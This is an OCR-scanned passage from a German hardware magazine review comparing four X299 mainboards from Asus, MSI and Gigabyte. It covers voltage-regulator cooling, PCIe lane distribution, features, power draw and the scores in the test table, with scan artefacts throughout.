shared mit 4x SATA, ist also eine Zukunftsoption, wenn SATA-Laufwerke seltener werden. 
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lang umgekehrt nicht), so liegt das 
Strix X299-E mit bis zu 64 °C nur 
noch ganz knapp in Führung und 
das TUF X299 fällt mit bis zu 85 °C 
sogar auf den letzten Platz zurück. 


Allgemein liegen die Spannungs- 
wandlertemperaturen mit unge- 
drosseltem Standardtakt also auf 
hohem, aber noch nicht kritischem 
Niveau - zumindest solange ein 
ausreichender Luftzug herrscht. 
Bremsen wir unseren Brocken Eco 
dagegen auf 900 U/min ein, wie in 
bisherigen Tests, ändert sich das 
Bild. Asus’ TUF X299 erreicht im 
gedrosselten Betrieb 75 °C, wird 
also circa 10 K wärmer - mit ei- 
nem kleinen Kühlkörper und 140 
W CPU-Leistung. Verglichen mit 
der Sockel-2011-v3-Generation (im 
Schnitt 55 °C) ist das ein trauriger 
Wert, aktuelle AM4-Mainboards 
erreichen in PCGH-Tests aber ähn- 
liche Temperaturen bei deutlich 
geringerer Leistungsaufnahme. 


Mit ungedrosselter CPU bei MSI 
und Gigabyte stoßen wir dagegen 
auf ein Problem: Die CPU-Abwär- 
me überfordert die klassische 
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PCGH-Mainboardtest-Kühllösung. 
Bei 99 °C Kerntemperatur und zeit- 
weise nur 3,8 statt 4,0 GHz auf vier 
der zehn Kerne messen wir eine 
Spannungswandlertemperatur von 
78 respektive 75 °C. Zumindest so- 
lange die Wärmeleitpaste im Inne- 
ren der Skylake-X-CPUs nicht (un- 
ter Garantieverlust) ausgetauscht 
wird, erreichen Hobby-Übertakter 
mit Luftkühlern also eher die 
Grenzen der Prozessor- denn der 
Mainboardkühlung. Nutzer von 
(Kompakt-)Wasserkühlungen mit 
bauartbedingt mehr CPU-Kühlre- 
serven, aber weniger Luftbewe- 
gung in Sockelnähe müssen aber 
auf gute Gehäuselüftung achten. 


Sockel-Umgebung und ОС 

Abseits des komplexen Themas 
„Kühlung“ können wir aber wenig 
Negatives aus dem CPU-Umfeld der 
neuen Mainboards berichten. Alle 
Modelle bieten alle wichtigen Ein- 
stellungen, auch bei AM4-Neuvor- 
stellungen der gleichen Hersteller 
zum Teil vermisste Features wie 
eine adaptive Spannungskontrolle 
gehören bei Skylake X zum Stan- 
dard. Kompatibilitätsprobleme 


mit Arbeitsspeichern gab es, trotz 
des vorgezogenen Plattformstarts, 
dagegen keine - alle Kandidaten 
erreichen problemlos die von Intel 
spezifizierten 2.666 MHz DDR auf 
allen vier Speicherkanälen (Sky- 
lake X) beziehungsweise nur auf 
den rechts des Sockels gelegenen 
Speicherbänken (Kaby Lake X). Das 
physische Platzangebot hat sich 
hierbei gegenüber der Broadwell- 
E-Generation kaum geändert. Alle 
Testteilnehmer bieten genug Platz 
für große CPU-Kühler, allerdings 
nur weil im Gegenzug bei den PCI- 
Express-Slots gespart wird. 


Immer umfangreicher werden da- 
gegen die integrierten Lüftersteue- 
rungen. So bieten alle Testteilneh- 
mer durchgängig Spannungs- und 
PWM-taugliche Lüfteranschlüsse 
sowie grafisch konfigurierbare Re- 
gelkurven, auch wenn Letztere im 
Falle der Asus-Mainboards nicht an 
der erwarteten Stelle im UEFI-Me- 
nü, sondern nur über die F-Tasten 
zu erreichen sind. Geregelt werden 
kann hierbei nach sieben Onboard- 
Sensoren; Asus sowie Gigabyte 
bieten zusätzlich einen respektive 


zwei Anschlüsse für externe Tem- 
peraturfühler. So wird das Main- 
board zur Schaltzentrale für die 
Systemkühlung und regelt nicht 
länger nur den CPU-Kühler. 


PCI-Express-3.0-Slots: CPU 

Wie erwähnt, besteht eine Heraus- 
forderung der Sockel-2066-Platt- 
form in den stark unterschiedlich 
ausgestatteten CPUs. Die 16 Lanes 
von Kaby Lake X sind außerdem 
als zwei x8-Links konfiguriert, 
womit die Hersteller komplett un- 
terschiedlich umgehen: Asus ver- 
baut bei beiden Testteilnehmern 
je acht PCI-Express-Splitter, die 
ausschließlich dazu dienen, alle 
16 Kaby-Lake-X-Lanes bei Bedarf 
in einen mechanischen x16-Steck- 
platz für Grafikkarten (PCIE for 
Graphics - PEG) zu leiten. So ist 
neben dem x8/x8-SLI-Betrieb 
auch eine x16/x0-Konfiguration 
für maximale Single-GPU-Leistung 
möglich. MSIs X299 Gaming Pro 
Carbon verzichtet auf diesen Auf- 
wand, Kaby-Lake-X-Nutzer haben 
aber die Wahl zwischen х8/х8/х0 
und x8/x4/x4. Bei Gigabytes X299 
Gaming 3 ist die Dreiteilung sogar 


Asus The Ultimate Force X299 Mark 2 


Die TUF-Serie ist vor allem für die plastikverkleideten Sabertooth-Modelle bekannt und móchte traditionell mit zahlreichen Lüfteranschlüssen und beson- 
ders robusten Komponenten überzeugen. In Asus’ X299-Familie übernimmt sie zusätzlich die Position der günstigsten Einsteigerplatine — welche in der 
230-Euro-Sockel-2066-Klasse aber weiterhin eine üppige Ausstattung mit Dual-M.2, Dual-x16 (nur mit 44 Lane Skylake X ) und USB 3.1 beinhaltet. 


die einzige Option - offensichtlich 
vertritt man die Ansicht, dass GPU- 
orientierte Kaby-Lake-Käufer lieber 
zum Sockel 1151 greifen sollen, 
während die Kombination mit der 
X299-Plattform nur für professio- 
nelle Anwender mit vielen Zusatz- 
Controllern oder NVME-Laufwer- 
ken sinnvoll ist. Zumindest dem 
ersten Teil dieser Einschätzung 
können wir voll zustimmen. 


Deutlich sinnvoller sind MSIs und 
Gigabytes Aufteilungen für Besit- 
zer kleiner Skylake-X-CPUs mit 28 
Lanes. Je ein x16-, ein x8- und ein 
x4-Slot stehen zur Verfügung, opti- 
onal kann der x16 auch noch acht 
Lanes an einen dritten x8-Steck- 
platz am unteren Ende der Platine 
abgeben. Beide Hersteller ordnen 
diese Slots so an, dass der x4-Steck- 
platz selbst bei Einsatz von drei Du- 
al-Slot-Grafikkarten in den x8-PEGs- 
zugänglich bleibt. Nutzer von ein 
oder zwei Triple-Slot-Grafikkarten 
blockieren ihn dagegen immer - 
schade, aber bei insgesamt sechs 
genutzten ATX-Slot-Öffnungen un- 
vermeidbar. Deutlich ärgerlicher 
ist hingegen Asus’ Entscheidung, 


Spannungswandlerkühler? 
Bei Werkseinstellungen erfüllt der kleine 
Alublock auf den MOSFETs des TUF X299 
seine Aufgabe befriedigend, selbst mit auf 
900 U/min gedrosseltem CPU-Lüfter bleibt 
es bei 75 °C. Erlaubt man über 240 W 
Leistungsaufnahme, zeugen 85 °C bei 
1.440 U/min aber von knappen Reserven. 


Sharing-freies PCI- © 
E-Layout mit Fokus 

auf Kaby Lake X 

Wie das Strix X299-E làsst auch 
das TUF X299 bei Einsatz einer 
Skylake-X-CPU vier PCI-E-La- 
nes ungenutzt. Im Gegenzug 
ermóglicht Asus mittels Splittern 
die Umleitung von acht Lanes 
des zweiten Slots zugunsten 
eines x16/x0-Betriebs mit Kaby 
Lake X. Dank Verzicht auf zwei 
SATA-Ports kommt das TUF X299 
bei allen anderen Schnittstellen 
ohne Lane-Sharing aus. 


M.2-Kühlerinkompatibilität (2) 
Beide Asus-Platinen 

im Test platzieren den 
zweiten M.2-PCI-E- 
3.0-x4-Slot senkrecht 
neben den Arbeitsspei- 
cher. Das zur Fixierung 
von SSDs in dieser 
Position benötigte 
Halteblech liegt so nahe 
am CPU-Sockel, dass 
tiefe Kühler (z.B. Noctua 
NH-D15) Probleme 

mit der Lüftermontage 
haben. 
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die letzten vier Lanes erst gar nicht 
in einen Slot münden zu lassen. 
Skylake-X-Käufer verschenken hier 
Ressourcen und erhalten nur eine 
x16/x8-Kombination mit 28 Lanes 
respektive x16/x16/x8 mit einer 
44-Lane-CPU. Letztere führt bei 
Gigabyte und MSI zu einer Auf- 
wertung der drei x8-Slots zu einer 
x16/x16/x8-Konfiguration (zuzüg- 
lich des x4-Slots), weitere Vertei- 
lungsmöglichkeiten erübrigen sich 
bei dieser Vollausstattung. 


PCI-Express-3.0-Slots: PCH 

Abgesehen von zwei zusätzlichen 
SATA-Optionen entspricht der 
X299 dem vom Sockel 1151 bekann- 
ten Z270 und bietet somit ebenfalls 
PCI-Express 3.0 an 24 HSIO-Ports. 
Unsere Testkandidaten nutzen 
bis zu 18 davon im PCI-E-Modus, 
allerdings kaum für Erweiterungs- 
slots, denn wie bereits angedeutet: 
Asus, Gigabyte und MSI opfern die 
oberste ATX-Slotöffnung, um mehr 
Platz für Sockel und Quad-Channel- 
DDR4-Interface zu haben. Die ver- 
bleibenden sechs Slotöffnungen 
werden großteils von den CPU-ver- 
sorgten Steckplätzen beansprucht. 


Dazwischen bleiben bei MSIs X299 
Gaming Pro Carbon AC nur zwei 
Lücken, in denen sich je ein über 
den PCH angebundener x1-Slot 
findet. Bei Einbau einer Dual-Slot- 
Grafikkarte in den ersten respek- 
tive zweiten PEG sind diese aber 
mechanisch blockiert. Gigabyte hat 
genau das gleiche Problem mit ei- 
nem PCH-x4-Slot (zusätzlich zu den 
von der CPU versorgten) unterhalb 
des zweiten PEGs. Asus’ TUF X299 
Mark2 umgeht diese mechanische 
Blockade an ATX-Position 5 und 
platziert den PCH-versorgten x4 
stattdessen oberhalb des zweiten 
PEG an ATX-Position 3 - ein ,Vor- 
teil“ der natürlich nur deswegen 
möglich ist, weil der bei Gigabyte 
und MSI an dieser Stelle liegende 
CPU-versorgte x4 ersatzlos fehlt. 
Zusätzlich gibt es beim TUF X299 
noch zwei x1-Slots an den gleichen 
Positionen wie bei MSI. 


Wesentlich komplexer sind die ins- 
gesamt drei vom PCH versorgten 
Erweiterungssteckplätze des Strix 
X299-E Gaming, denn von diesen 
verfügt keiner über eigene PCI- 
Express-Ressourcen. Beim ersten 


x] an ATX-Position 3 (shared mit 
dem USB-3.1-Controller eine Front- 
Panel-Headers) ist dies verschmerz- 
bar, denn er wird ohnehin von der 
Grafikkarte verdeckt. Der zweite 
x]-Slot direkt darunter ist ein Ku- 
riosum, denn seine Lane wird bei 
Kaby-Lake-X-Einsatz in den x16- 
Slot an ATX-Position 6 umgeleitet, 
während Skylake-X-Nutzer ihn mit 
8 (oder 0) Lanes von der CPU be- 
treiben. Besitzer von Kaby Lake X 
und Triple-Slot-Grafikkarten freuen 
sich über die gewonne x1-Erwei- 
terungsmóglichkeit, alle anderen 
wundern sich über den Aufwand. 
Eine weitere Aufmerksamkeit für 
Kaby-Lake-X-Käufer ist der x4-Slot 
an ATX-Position 5. Wie erwähnt, 
wird diese Position bei Einsatz von 
zwei Dual-Slot-Grafikkarten ohne- 
hin blockiert, bei Nutzung von nur 
einer Grafikkarte haben Skylake-X- 
Besitzer dagegen einen freien x8- 
oder x16-Slot unmittelbar darüber 
zur Verfügung und werden dessen 
Nutzung vorziehen. Asus teilt die 
Ressourcen des x4-Slots nämlich 
mit vier SATA-Ports - da schmerzen 
die vier ungenutzten Skylake-X-La- 
nes doppelt. 


Gigabyte Aorus X299 Gaming 3 


Spürbar günstiger als die Oberklasse-Modelle von MSI und Asus, aber mit sehr umfangreicher Unterstützung für Erweiterungskarten ist Gigabytes kleinstes 
X299-, Gaming" -Mainboard ein potenzieller Preis-Leistungskandidat. Auch die Spannungswandlerkühlung und Lüftersteuerung sind voll konkurrenzfähig. 
Ebenso umfangreich fállt aber leider auch der Stromverbrauch aus, ohne dass direkt ersichtliche Leistungsvorteile resultieren würden. 


Energie- & Datenspeicher 
viel Platz auf der Platine. Um dennoch 


hat Gigabyte eine extra flache Batterie- 


l/O-Bereich hochkant verkleben. 


zwei liegende M.2-SSDs unterzubringen, 


Zahlreiche x16, x8 und x4-Slots belegen 


halterung verbaut, die unter den M.2-Slot 
passt. MSI dagegen muss die Batterie im 


Beleuchtung nachrüstbar 
Das kleinste Modell der Gaming" -Ќеі- 
he verfügt für Gigabyte-Verhältnisse 
über wenig LEDs (beide Kühlkórper und 


NVME, USB, SATA & Co 

Was geschieht nun mit den ganzen 
restlichen PCI-E-Lanes und sonsti- 
gen Ressourcen des PCHs? Bereits 
erwähnt wurde der USB-3.1-Front- 
Controller beim Strix X299-E, ein 
entsprechendes Exemplar bietet 
auch MSIs X299 Gaming Pro Car- 
bon. Zusätzlich haben alle Testteil- 
nehmer Header für vier USB-3.0- 
Front-Anschlüsse sowie 
USB-3.1-Zusatzcontroller für zwei 
Anschlüsse am I/O-Panel. An die- 
sem finden sich noch vier weitere 
USB-3.0-Buchsen - außer beim Gi- 
gabyte X299 Gaming 3, das gleich 
sechs davon bietet. Asus und MSI 
füllen dagegen sinnvoller und res- 
sourcenschonender mit 2.0-Ports 
auf (Gigabyte: 0), die für viele Pe- 
ripheriegeräte mehr als schnell 
genug sind. Zusätzlich gibt es bei 
allen Herstellern einmal Gigabit- 
LAN von Intel; beim Strix X299-E 
Gaming und dem X299 Gaming 
Pro Carbon AC (nomen est omen) 
zustätzlich auch ac-WLAN. 


einen 


Für interne Laufwerke halten alle 
Hersteller zwei M.2-Slots bereit, die 
jeweils über je vier PCI-Express-3.0- 


Grafikkarten-Slots, nicht aber RAM-, 1/0- 
und Audio-Bereich). Dafür kónnen neben 
RGBW-LED-Streifen auch solche mit digi- 
taler Ansteuerung angeschlossen werden. 


Konsequente Skylake-X-PCI-Express-Optimierung 

Ähnlich wie MSI verzichtet Gigabyte auf zusätzlichen Aufwand, um einen x 16-GPU-Betrieb 
mit Kaby Lake X zu ermöglichen. Zusätzlich verhindert das Layout aber auch x8/x8-Konfi- 
gurationen zugunsten von x8/x4/x4 (ein dritter x4-Slot wird mit Lanes des PCH versorgt) — 
Kaby-Lake-SLI-Boards bietet man schlieBlich in groBer Zahl als Sockel-1151-Modelle an. 
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Ein neuer Trend M.2-Kühler, die optisch oder physisch in die PCH-Kühlung integriert werden. Im Falle von Asus' Strix X299-E bedeckt der M.2-Aluminiumkühler auch den PCH- 
Kühler vollstándig, was der Leistung von Letzterem vermutlich nicht zugutekommt — aufgrund der geringen Abwàrme von PCHs aber auch kein Problem dasstellt. 


Lanes an den PCH angebunden 
sind. Geteilt werden diese Lanes 
nur in einem Fall: Bei Gigabytes 
X299 Gaming 3 deaktiviert der 
zweite M.2 vier SATA-Ports. Es 
bleiben zwar vier weitere nutzbar, 
in Anbetracht der üppigen Anzahl 
an CPU-versorgten Slots wäre hier 
Sharing mit dem leicht blockierten 
x4-PCH-Slot aber die bessere Wahl 
gewesen. Genau diese Konfigura- 
tion finden wir (mit weniger üp- 
piger CPU-Slot-Ausstattung) beim 
Strix X299-E Gaming und auch MSI 
setzt vier SATA-Ports auf die Ab- 
schussliste - aber zugunsten eines 
zusätzlichen U.2-Anschlusses. In 
Anbetracht der stetig zurückgehen- 
den SATA- und der zunehmenden 
NVME-Nutzung eine interessante 
Option für die Zukunft. Als einzi- 
ges SATA-sharing-frei präsentiert 
sich das TUF X299 Mark 2. Hier 
hat Asus kurzerhand zwei von acht 
möglichen SATA-Ports komplett ge- 
strichen und so die andernorts be- 
nötigten Ressourcen freigemacht. 


Sou 


Betrachtet restlichen 


man die 
Onboard-Features, stellt sich ein 


klassentypisches Bild ein: Alle 
Kandidaten nutzen eine aktuellen 
Realtek-Audio-Codec und hoch- 
wertige Kondensatoren, jenseits 
der 300 Euro gibt es auch einen 
separaten Kopfhöhrerverstärker. 
Ebenfalls den teureren Testteilneh- 
mern vorbehalten sind praktische 
Diagnose-Anzeigen. RGB-LED-Be- 
leuchtung ist Pflicht für ,Gaming"- 
Mainboards, Header für externe 
LED-Streifen finden sich bei drei 
von vier Kandidaten - bei zweien 
sogar für digital ansteuerbare. 
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Rein rechnerisch gewinnt das 
Asus Strix X299-E Gaming unsere 
Marktübersicht knapp, obwohl 
die Optimierung der PCI-Express- 
Ressourcen für Kaby Lake X in der 
350-Euro-Preisklasse irritiert und 
die Boot-Zeit zu wünschen übrig 
lässt. Einen Bonus gibt es im Gegen- 
zug für onboard-WLAN und die bes- 
te Spannungswandlerkühlung im 
Test. Den Testsieg bringt letztlich 
aber die sinnvolle Drosslung der 
CPU-Leistungsaufnahme auf 140 
Watt. Während die Benchmarks- 
performance nahezu unverändert 
ausfällt, sinken Stromverbrauch 
und den Spannungswandlertempe- 
raturen deutlich. Mit 4,0 GHz AVX- 
Boost hätte das Strix X299-E dage- 
gen eine Leistungsnote von circa 
2,64 und die Endnote 2,18 erhalten, 
also eine Position auf halbem Wege 
zwischen MSI und Gigabyte. 


MSIs X299 Gaming Pro Carbon AC 
bietet das überzeugendste PCI-Ex- 
press-Layout im Test und brilliert 
mit der klar besten Spiele-, An- 
wendungs- und Speicherleistung. 
Genauso erhöht ist aber auch die 
Leistungsaufnahme - und das nicht 
nur bei Ausnutzung des liberalen 
(AVX-)Turbos, sondern auch im 
Leerlauf und sogar bei ausgeschal- 
tetem Rechner. Erstaunlicherweise 
führt dieser Energieumsatz trotz 
des Optik-optimierten Kühlers 
nicht zu überhitzten Spannungs- 
wandlern, sodass es in Kombinati- 
on mit der guten Ausstattung bei- 
nahe für Platz 1 gereicht hätte. 


Das Asus TUF X299 Mark 2 über- 
nimmt die UEFL Vorgaben des Strix 


Klein und ohne oberflächenvergrößernde Strukturen: Das TUE X299 ist ein gutes 
Beispiel für fragwürdig designte Spannungswandlerkühler. 


X299-E aus gleichem Hause und 
sichert sich so Platz 3, kostet aber 
deutlich weniger. Die Einsparun- 
gen bei der Ausstattung dürften 
hier nur wenige Anwender ernst- 
haft stóren, die niedrige Leistungs- 
aufnahme bei geringer Last und in 
ausgeschaltetem Zustand ist sogar 
ein Bonus. Aber der sehr flache 
Spannungswandlerkühler dürf- 
te Übertaktern bitter aufstoßen. 
Nur dank Asus' CPU-Drosselung 
erreicht das TUF X299 gute Span- 
nungswandlertemperaturen. Bei 
ungezügelter Stromaufnahme hätte 
es dagegen neben einer 2,83 in der 
Leistungs- und 2,34 in der Endwer- 
tung den vierten Platz verdient. 


Der geht stattdessen an Gigabytes 
X299 Gaming 3. Es erlaubt sich 
leichte Schwächen im USB-Bereich 
und verzichtet auf WLAN, bietet 
sonst aber eine sehr ansehnliche 
Ausstattung (zumindest solange 
man keinen Kaby Lake X verbaut), 
insbesondere für Casemodder, 
und auch das UEFI gefällt. Eigent- 


lich wäre das Board also durchaus 
eine Empfehlung wert für alle, de- 
nen MSI und Asus’ Strix zu teuer, 
das Asus TUF X299 Mark 2 aber zu 
heiß ist. Mit der Leistungswertung 
macht sich Gigabyte aber selbst ei- 
nen Strich durch diese Rechnung 
und überbietet beim Stromver- 
brauch selbst MSI, ohne sich in den 
Benchmarks von Asus distanzieren 
zu können. Diese Kombiantion 
zweier Nachteile kann auch die 
beste Boot-Zeit im Test nicht mehr 
ausgleichen. (tu) 


Auch das Beste kann enttàuschen 
Nüchtern betrachtet sind auch die 


Sockel-2066-Mainboards die derzeit 
besten am Markt, dafür sorgt vor allem 
die Ausstattung. Genau wie bei den 
Skylake-X-CPUs hatte man aber noch 
mehr erwartet und bei den Spannungs- 
wandlertemperaturen sind sogar Rück- 
schritte zu beklagen — manchmal ist 
das Beste eben nicht gut genug. 
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SOCKEL-2066- 
MAINBOARDS 


Auszug aus der Testtabelle mit 


160 Wertungskriterien. 
e š чы = : e : > 

Produkt Strix X299-E Gaming X299 Gaming Pro Carbon AC TUF X299 Mark 2 X299 Gaming 3 
Hersteller (Website) Asus (www.asus.de) MSI (www.msi.com) Asus (www.asus.de) Gigabyte (www.gigabyte.de) 
Preis/Preis-Leistungs-Verháltnis Ca. € 340,-/Note 3- Ca. € 340,-/Note 3- Ca. € 230,-/Note 2- Ca. € 290,-/Note 3- 
Link zum PCGH-Preisvergleich www.pcgh.de/preis/1641089 www.pcgh.de/preis/1632012 www.pcgh.de/preis/1641192 www.pcgh.de/preis/1631912 
Chip; UEFI-; Board-Revision X299: 0402; 1.02 X299; 1.10; 1.1 X299; 0402; 1.01 X299; F6a; 1.0 
Gehäuse-Format; Höhe x Breite ATX; 305 x 244 mm ATX; 305 x 244 mm ATX; 305 x 244 mm ATX; 305 x 244 mm 
Ausstattung (20 %) 1,56 1,32 1,81 1,70 
Speicherslots 8x DDR4 8x DDR4 8x DDR4 8x DDR4 


PCI-E-3.0-Verteilung, 16-Lane-CPU* 


-/% 16/-/-1x0/-1x0 oder —/х8/—/—/х8!—!х0 


-/x8/-1x0/x8/-1x0 oder -/x8/-Ix4/x4/-1x0 


-/x16/-/-1x0/-1x0 oder -/x8/-/-/x8/-/x0 


-Ix8/-Ix4/x4/-Ix0 


PCI-E-3.0-Verteilung, 28-Lane-CPU* 


1x 16/-/-Ix8/-1x0 


-/x16/-/x4/x8/-1x0 oder -/x8/-Ix4/x8/-1x8 


-/x16/-/-Ix8/-Ix0 


-/x16/-/x4/x8/-1x0 oder -/x8/-/x4/x8/-Ix8 


PCI-E-3.0-Verteilung, 44-Lane-CPU* 


—/x16/-/-1x16/-1x8 


-/x 16/-/x4/x16/-1x8 


1x 16/-/-Ix16/-1x8 


1x 16/-/x41x16/-1x8 


PCI-E-3.0-Verteilung, PCH-Lanes* 110/5 1/—/4/— (alternativ —/—/х0/—/—/х4/х1) |–/-/1/-/-/х1/— 141-111 -H-H-x4- 
oder -/-/x1/x1/-/x4/- und Front-USB-3.1 deakti- 
viert (alternativ —/—/x0/-/-/x4/x 1). 
SATA 4x 6 GBit/s (X299) + 4x 6 GBit/s (X299, 8x 6 GBit/s (8x X299) 6x 6 GBit/s (8x X299) 8x 6 GBit/s (8x X299) 


deaktiviert PCI-E-x4-Slot) 


NVME, Anbindung*, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110; 
1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110 (verti- 
kal mit Halterung) 


1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110; 
1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80; 
1x U.2 (deaktiviert 4x SATA) 


1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80; 
1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110 (verti- 
kal mit Halterung) 


1x M.2 m-Key, PCI-E-3.0-x4, 60/80/110; 
1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80 (deakti- 
viert 4x SATA) 


Onboard-LAN 1x Gigabit (Intel 1219-V) 1x Gigabit (Intel 1219-\/) 1x Gigabit (Intel 1219-V) 1x Gigabit (Intel 1219-V) 
Wireless 802.11 ac; Bluetooth 4.2 (Realtek 8822BE) 802.11 ac; Bluetooth 4.2 (Intel 8265) - - 
USB extern/intern 2x/1x USB 3.1 (davon x1 Typ-C extern/x1 2x/1x USB 3.1 (davon x1 Typ-C extern/x1 2x/0x USB 3.1 (davon x1 Typ-C extern); 2x/0x USB 3.1 (davon x1 Typ-C extern); 


USB-3.1-spezial-Front-Panel-Header); 
4xJ4x USB 3.0; 2x/2x USB 2.0 


USB-3.1-spezial-Front-Panel-Header); 
4x/4x USB 3.0; 3x/4x USB 2.0 


4x/4x USB 3.0; 4x/2x USB 2.0 


6x/4x USB 3.0; 0х/4х USB 2.0 


Legacy-Schnittstellen extern/intern 


COM-Header 


PS/2-Maus-oder-Tastatur-Flex-Port 


PS/2-Maus-oder-Tastatur-Flex-Port; COM-Header 


P5/2-Maus-und-Tastatur-Combo-Port 


*ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben I/O-Panel. 


****Ganzes System mit i9-7900X und Asus GTX 1080 an Seasonic-80-Plus-Gold-Netzteil. 


Sound-Chip Realtek "51220A" Realtek ALC1220 Realtek "51220A" Realtek ALC1220 

Kopfhörer-Verstärker/DTS oder DDL/ Jalnein/nein Jalnein/nein Nein/nein/nein Nein/nein/nein 

wechselbarer OP-AMP 

Audio-Aus-/Eingánge 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1/Eingang x2 

Lüfteranschlüsse 7% 4-Pin PWM 6x 4-Pin PWM 8x 4-Pin PWM 8x 4-Pin PWM 

Sonstige Ausstattung Statussegmentanzeige; Power-Schalter; Clear- Statussegmentanzeige; Power- und Reset-Schalter; | Status-LEDs; Clear-CMOS-Jumper; Regelbare Status-LEDs; Power-Schalter; Clear-CMOS-Jumper; 
CMOS-Schalter am I/O-Panel; Regelbare RGB-Be- | Clear-CMOS-Schalter am l/O-Panel; Dual-UEFI; RGB-Beleuchtung; Thunderbolt-Header; Anschluss | Dual-UEFI; Regelbare RGB-Beleuchtung; zwei 
leuchtung; zwei Anschlüsse für RGB-LED-Streifen; |Regelbare RGB-Beleuchtung; Anschluss für RGB- | für Temperatursensor Anschlüsse für RGBW-LED-Streifen; Anschluss 
Anschluss für digitale LED-Streifen; Thunder- LED-Streifen für digitale LED-Streifen; Thunderbolt-Header; 
bolt-Header; Anschluss für Temperatursensor Anschluss für zwei Temperatursensoren 

Beiliegend 4x SATA-Kabel; HB-SLI-Brücke; Temperatursensor; |4x SATA-Kabel; HB-SLI-Brücke; wechselbare 4x SATA-Kabel; HB-SLI-Brücke; Handbuch Englisch |4x SATA-Kabel; Handbuch Englisch 
1x RGB-Verlängerungskabel; Anschlusskabel für | Zierblenden; 1x Y-RGB-Verlängerungskabel; 
digitale LED-Streifen; Handbuch Englisch Handbuch Englisch 

Eigenschaften (20%) 144 1,55 1,40 154 

Abstand** CPU <> 1./2. RAM-Slot; 57/66 Millimeter; 57/66 Millimeter; 57/66 Millimeter; 57/66 Millimeter; 

<> Spannungswandlerkühler links/oben |-/54 Millimeter — (23 mm flach) — (23 mm flach) -/63 Millimeter 

Abstand** CPU <> PCI-E-x16 86 Millimeter 82 Millimeter 87 Millimeter 82 Millimeter 

Abstand PEG 1<>2 2 Slots 2 Slots 2 Slots 2 Slots 


Multiplikator-CPU/-AVX/-AVX512/aktive 
Kernzahl/Referenztakt 


Anheb- und absenkbar/einstellbar/einsellbar/ 
einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/gekoppelt/ 
einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/einsellbar/ 
einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/einsellbar/ 
einstellbar/einstellbar 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Jalja/jalja, konfigurierbar. Bereich: 0,0 bis 1,9 Volt 


Jaljaljalja, konfigurierbar. Bereich: 0,8 bis 2,1 Volt 


Jaljaljalja, konfigurierbar. Bereich: 0,0 bis 1,9 Volt 


Jaljaljaja, konfigurierbar. Bereich: 0,5 bis 1,7 Volt 


Mesh-/IMC-/PCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Maximal wählbarer RAM-Takt; -Spannung 


DDR4-4400; 2,10 Volt 


DDR4-4400; 2,00 Volt 


DDR4-4400; 2,10 Volt 


DDR4-5800; 2,00 Volt 


Lüftersteuerung 3-Punkt-Kurve konfigurierbar; CPU + weitere 4-Punkt-Kurve konfigurierbar; CPU + weitere 3-Punkt-Kurve konfigurierbar; CPU + weitere 5-Punkt-Kurve konfigurierbar; CPU + weitere 
Lüfter; min. 20% PWM Lüfter; min. 0% PWM Lüfter; min. 20% PWM Lüfter; min. 0% PWM 
Virtualisierung SVM/IOMMU -/aktivierbar -Jaktivierbar -Jaktivierbar -/aktivierbar 
Leistung (60%) 2,41 2,49 2,47 2,73 
Realer Referenztakt (CPU-Z) 100,00 MHz 100,00 MHz 100,00 MHz 100,00 MHz 
Witcher 3 1080p kein AA/AF 138,1 Fps 146,1 Fps 138,4 Fps 139,7 Fps 
Lightroom 5.6, Export 30 RAWs 98,0 Sekunden 97,1 Sekunden 98,3 Sekunden 98,2 Sekunden 
AIDA Memory Bench - Kopierrate 62.160 MB/s 65.915 MB/s 62.207 MB/s 62.343 MB/s 
Boot-Zeit Desktop Windows 10 40,5 Sekunden 37,7 Sekunden 33,5 Sekunden 26,5 Sekunden 
Temperatur Spannungswandler/IOH* * * 56/40 °С (64/41 °C mit ungedrosselter CPU) 71/39 °C 65/43 °C (85/41 °C mit ungedrosselter CPU) 73142 °C 
Stromverbr.**** Soft-Off/Leerlauf/Last*** |2,5/52,5/386 Watt 3,1/60,1/469 Watt 1,6/48,1/394 Watt 3,5/65,1/449 Watt 
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Q Onboard WLAN 
© Auch übertaktet kühl 


© 4 von 44 CPU-Lanes ungenutzt 


Wertung: 2,05 
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© Onboard WLAN 
© Überdurchschnittliche Leistung 
Q Hoher Stromverbrauch 


Wertung: 2,07 


Q x16 auch mit Kaby Lake 
© Relativ sparam 
© Ohne CPU-Limitierung heiß 


Wertung: 2,12 


© Kurze Boot-Zeit 
©Vielseitige Lüftersteuerung 
© Hoher Stromverbrauch 


Wertung: 2,29 
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Testsystem: Core i9-7900X, Asus Strix GTX 1080 110% powertarget, 91°C temptarget; 4x 4 GiB Crucial DDR4-2666, ЕКІ Alpenfóhn Brocken Eco bei 1.440 U/min. 


**Ab Sockel-Mitte. Nur Spannungswandlerkühlerteile >2,5 cm. 


***Prime95 27.7 + Witcher 3 hohe Details, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. 


X299-Mainboards | INFRASTRUKTUR Së 


PCGH-Mainboard-Testsystem: Das ist neu 


CPU & Last: i9-7900X & Prime 27.7 


Für Mainboardtests nutzten wir die schnellste zum Plattformstart verfügbare CPU, 
im Falle des Sockel 2066 also den Zehnkerner Core i9-7900X. Die fordernderen 
Skylake-X-Top-Modelle mit bis zu 18 Kernen sind leider noch nicht verfügbar. 
Dafür haben wir die Belastung aufseiten der Software hochgeschraubt: Bislang 
kam bewusst die alte Prime95-Version 26.5 zum Einsatz. Ebenso wie vor einigen 
Jahren übliche Anwendungen unterstützt diese 


kein AVX und erzeugte so eine hohe, aber nicht 
unrealistische CPU-Auslastung. Mittlerweile 
gibt es im Bereich Videoschnitt und -Trans- 
coding aber einige AVX-Nutzer; wir wechseln 
